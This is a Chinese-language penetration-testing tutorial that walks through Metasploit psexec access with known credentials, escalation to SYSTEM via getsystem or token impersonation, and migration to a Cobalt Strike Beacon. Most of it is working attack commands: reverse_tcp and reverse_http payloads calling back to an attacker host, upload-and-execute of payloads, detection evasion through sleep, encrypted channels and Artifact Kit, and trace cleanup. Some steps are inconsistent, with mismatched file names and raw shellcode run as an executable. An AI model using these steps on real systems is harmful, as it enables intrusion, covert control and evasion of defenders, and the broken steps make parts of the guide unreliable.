目录
实际案例背景
步骤详解
1. 获取低权限 Meterpreter 会话
1.1 使用 Metasploit 获取会话
2. 提权到 SYSTEM 权限
2.1 使用 getsystem 自动提权
2.2 如果 getsystem 失败:使用令牌冒充 (incognito 模块)
3. 上线到 Cobalt Strike
3.1 生成 Cobalt Strike Payload (Beacon)
3.2 在目标系统上执行 Beacon Payload
3.3 使用 Meterpreter 转发会话到 Cobalt Strike
4. 验证与稳定控制
5. 整体项目方案总结
前期准备
提权阶段
上线 Cobalt Strike
后续管理
注意事项
- 描述如何使用 Metasploit(msf)提权目标主机到 SYSTEM 权限,并将提权后的会话迁移到 Cobalt Strike 工具中。
实际案例背景
- 目标系统:Windows 10(存在已知的权限提升漏洞或可利用的令牌)
- 初始情况:已通过 Metasploit 成功获取一个低权限的 Meterpreter 会话。
- 目标:
- 提权到 SYSTEM 权限。
- 将提权后的会话转移到 Cobalt Strike 中管理和控制。
步骤详解
1. 获取低权限 Meterpreter 会话
1.1 使用 Metasploit 获取会话
- 启动 Metasploit 控制台:
msfconsole
- 使用一个合适的漏洞模块,例如 SMB 远程代码执行(假设已经有弱口令或凭证):
use exploit/windows/smb/psexec
- 设置攻击参数:
set RHOSTS <目标IP> set SMBUser <用户名> set SMBPass <密码> set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <本地IP> set LPORT 4444
- 执行攻击:
成功后会得到一个低权限的 Meterpreter 会话,例如:exploit
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.150:49215)
2. 提权到 SYSTEM 权限
2.1 使用 getsystem 自动提权
- 切换到低权限会话:
sessions -i 1
- 尝试自动提权:
getsystem
- 可能的返回:
[*] Got SYSTEM via technique 1.
- 验证提权结果:
如果返回:getuid
则说明提权成功。Server username: NT AUTHORITY\SYSTEM
2.2 如果 getsystem 失败:使用令牌冒充 (incognito 模块)
- 加载 incognito 扩展:
load incognito
- 列出可用令牌:
可能看到:list_tokens -u
[*] Available tokens:NT AUTHORITY\SYSTEMDOMAIN\Administrator
- 冒充 SYSTEM 令牌:
impersonate_token "NT AUTHORITY\\SYSTEM"
- 再次验证权限:
应返回 SYSTEM 权限。getuid
3. 上线到 Cobalt Strike
3.1 生成 Cobalt Strike Payload (Beacon)
-
在 Cobalt Strike 中生成 Payload(Beacon)。
- Cobalt Strike Console -> Cobalt Strike 菜单 -> Attacks -> Packages -> Windows Executable (S)。
- 选择 Payload 类型:
windows/beacon_http/reverse_http
或其他你配置的类型。
- 配置监听器、域名、端口等参数。
- 导出为可执行文件 (EXE) 或 Shellcode (RAW/BIN)。
-
将 Payload 上传到目标系统。 在 Meterpreter 会话中:
upload /home/hao/12.exe C:\\Windows\\Temp\\12.exe
3.2 在目标系统上执行 Beacon Payload
- 在 Meterpreter 中,执行上传的 Beacon:
execute -f C:\\Windows\\Temp\\14.exe
- Cobalt Strike 会自动捕获到 Beacon 会话(如果配置正确的话)。
- 在 Cobalt Strike 中,导航到 View -> Beacons 查看上线的会话。
- 若成功,则会在 Beacon 管理界面看到新上线的会话,权限应为 SYSTEM。
3.3 使用 Meterpreter 转发会话到 Cobalt Strike
如果无法直接执行 Beacon Payload,也可以使用 msfvenom
生成 Shellcode 并在 Cobalt Strike 中监听。步骤如下:
- 生成 Raw Shellcode (Cobalt Strike 控制台):
msfvenom -p windows/meterpreter/reverse_http LHOST=<Cobalt Strike 服务器IP> LPORT=80 -f raw > /tmp/cs_shellcode.raw
- 上传并注入 Shellcode:
- 上传:
-
upload /tmp/cs_shellcode.raw C:\\Windows\\Temp\\cs_shellcode.raw
- 注入:
execute -f C:\\Windows\\Temp\\cs_shellcode.raw
- Cobalt Strike 捕获会话
- 同样在 View -> Beacons 中查看。
4. 验证与稳定控制
-
验证 SYSTEM 权限
在 Cobalt Strike 的 Beacon 控制台中执行:shell whoami
应返回:
NT AUTHORITY\SYSTEM
-
保持会话稳定
- 使用 Cobalt Strike 的 Sleep 功能,设置通信时间间隔,避免被防火墙检测。
- 配置 HTTPS 或 DNS 通道,增加隐蔽性。
-
清理痕迹
- 删除上传的 Payload 和临时文件:
rm C:\\Windows\\Temp\\beacon.exe
- 使用 Cobalt Strike 的 Artifact Kit 生成更隐蔽的 Payload。
- 删除上传的 Payload 和临时文件:
5. 整体项目方案总结
前期准备
- 确保 Metasploit 和 Cobalt Strike 配置正确。
- 确保目标环境合法授权,并已获取初始的 Meterpreter 低权限会话。
提权阶段
- 优先尝试
getsystem
提权,失败则用 incognito 进行令牌冒充。 - 确保成功获得 SYSTEM 权限。
上线 Cobalt Strike
- 生成 Beacon Payload 并通过 Meterpreter 执行上线。
- 确保会话成功捕获,并能稳定通信。
后续管理
- 使用 Cobalt Strike 的功能进行进一步横向移动、信息收集与持久化。
- 合理使用 Sleep 和加密通信,避免被检测。
注意事项
- 合法授权:所有步骤必须在目标系统所有者明确授权下进行。
- 权限验证:每一步都要及时验证当前权限,避免操作失败。
- 安全清理:完成后,及时清理所有上传的工具和脚本,避免留下痕迹。